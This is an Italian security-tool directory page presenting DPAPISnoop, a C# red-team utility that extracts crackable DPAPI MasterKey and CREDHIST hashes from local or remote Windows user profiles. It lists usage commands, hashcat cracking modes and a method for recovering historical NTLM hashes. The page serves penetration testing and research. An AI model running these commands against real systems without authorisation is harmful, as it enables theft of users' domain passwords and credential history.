Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DPAPISnoop — Uno strumento C# per generare hash DPAPI crackabili dai MasterKeys degli utenti | Kitploit
Strumenti/GitHubGitHub/leftp/dpapisnoop
Password CrackingAttacchi alle PasswordAnalisi HashPost-ExploitRed Teaming
GitHubleftp/dpapisnoop

DPAPISnoop

Uno strumento C# per generare hash DPAPI crackabili dai MasterKeys degli utenti

Vedi Repository
146872 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DPAPISnoop

Uno strumento C# che estrae hash DPAPI craccabili dalle MasterKey e dai file CREDHIST degli utenti.

Prende di mira sia la MasterKey ($DPAPImk$) sia l'intera catena CREDHIST ($credhist$), con supporto per percorsi locali e condivisioni SMB remote.


Cosa estrae

Hash MasterKey ($DPAPImk$)

La MasterKey di ogni utente si trova in \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\.

Il cracking restituisce la password di dominio dell'utente e sblocca tutti i segreti protetti da DPAPI di quel periodo.

La versione dell'hash dipende dal sistema operativo:

  • Versione 1 — 3DES + SHA-1 (≤ Vista)
  • Versione 2 — AES-256 + SHA-512 (≥ Win7)

Il campo Context codifica il tipo di account:

  • 1 — Utente locale
  • 2 — Utente di dominio, pre-1607
  • 3 — Utente di dominio, post-1607

Hash CREDHIST ($credhist$)

Ogni voce presente nel file CREDHIST di ciascun utente. Ogni voce è cifrata con una password precedente e, una volta decifrata, restituisce lo SHA1 + NTLM della password che la precede.

Il cracking della catena ricostruisce tutte le password storiche e i relativi hash NTLM.

Le voci sono etichettate nel campo username, così l'output è autoesplicativo:

root@kitploit:~
alice[current]:$credhist$*...    ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*...      ← encrypted with the previous password
alice[prev2]:$credhist$*...

La versione dell'hash delle voci dipende dal sistema operativo:

  • 3DES + HMAC-SHA1 (≤ Vista) — crack con hashcat -m 15920
  • AES-256 + SHA-512 (≥ Win10 20H2) — crack con hashcat -m 15930

Utilizzo

root@kitploit:~
DPAPISnoop.exe [rootDir] [options]

Se omesso, rootDir viene impostato su %HOMEDRIVE%. I percorsi UNC sono pienamente supportati.

Esempi

root@kitploit:~
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe

# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!

# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709

# Remote share — dump everything
DPAPISnoop.exe \\server01\c$

# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt

# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!

Cracking

MasterKey

root@kitploit:~
hashcat -a0 -m 15300 hashes.txt wordlist.txt   # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt   # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt   # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt   # v2 domain post-1607

CREDHIST

root@kitploit:~
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt   # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt   # AES-256 entries (≥ Win10 20H2)

Dopo il cracking, passa la password recuperata a DPAPISnoop per percorrere l'intera catena e stampare ogni SHA1 e NTLM storico:

root@kitploit:~
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt

Moduli Hashcat

Consulta README


Uso dell'IA

Questo lavoro di ricerca e sviluppo è stato condotto in collaborazione tra un umano e strumenti assistiti dall'IA, utilizzando i modelli di IA GPT-5.5 e Claude Sonnet 4.6.

I modelli di IA sono stati utilizzati per assistere nella generazione di codice e nel supporto al reverse engineering.

Tuttavia, tutta la direzione della ricerca, la validazione, il debug, i test, l'analisi di sicurezza e le decisioni tecniche finali sono state eseguite da un essere umano (Imdefinelyhuman).

Tutti i contenuti, il codice e le analisi generati sono stati revisionati, validati, modificati e integrati manualmente come parte di un flusso di lavoro iterativo guidato dall'uomo.

La dichiarazione sopra è un modo elegante per dire anche che il codice ha bug e che lo usi a tuo rischio e pericolo!


Riferimenti

  1. Elie Burzstein and Jean Michel Picod, "Recovering Windows Secrets and EFS Certificates Offline."
  2. Microsoft, “CryptProtectData function.”
  3. Microsoft, “CNG DPAPI.”
  4. Microsoft, “DPAPI Backup Keys on Active Directory Domain Controllers”
  5. NAI Labs, “Windows Data Protection.”
  6. SpecterOps, “Offensive Encrypted Data Storage: DPAPI Edition.”
  7. SpecterOps, “Operational Guidance for Offensive User DPAPI Abuse.”
  8. SpecterOps, “DPAPI Backup Key Compromise Pt. 1: Some Forests Must Burn.”
  9. Passcape, “DPAPI CREDHIST.”
  10. Passcape, “DPAPI blob analysis.”
  11. Passcape, “DPAPI Master Key analysis.”
  12. NirSoft, “CredHistView.”
  13. Benjamin Delpy, “Mimikatz Wiki: module ~ dpapi.”
  14. Fox-IT, “Dissect CREDHIST parser.”
  15. DPAPIck3, PyPI project page
  16. GhostPack, “SharpDPAPI.”
  17. Sygnia, "The Downfall of DPAPI's Top Secret Weapon."

Autore

Lefteris (lefty) Panos @ LRQA Red Team 2026

Scarica lo strumento
FlagDescrizione
(nessuno)Estrae $DPAPImk$ e $credhist$ per il nostro utente
--credhist-only / -cSalta l'output della MasterKey; emette solo le righe $credhist$
--password <plaintext> / -pPercorre la catena CREDHIST a partire dalla password in chiaro corrente
--sha1 <40-hex>Percorre la catena CREDHIST a partire da uno SHA1 noto della password corrente
--pre1607Emette il contesto 2 (dominio pre-1607) invece del contesto 3 per gli hash MasterKey di dominio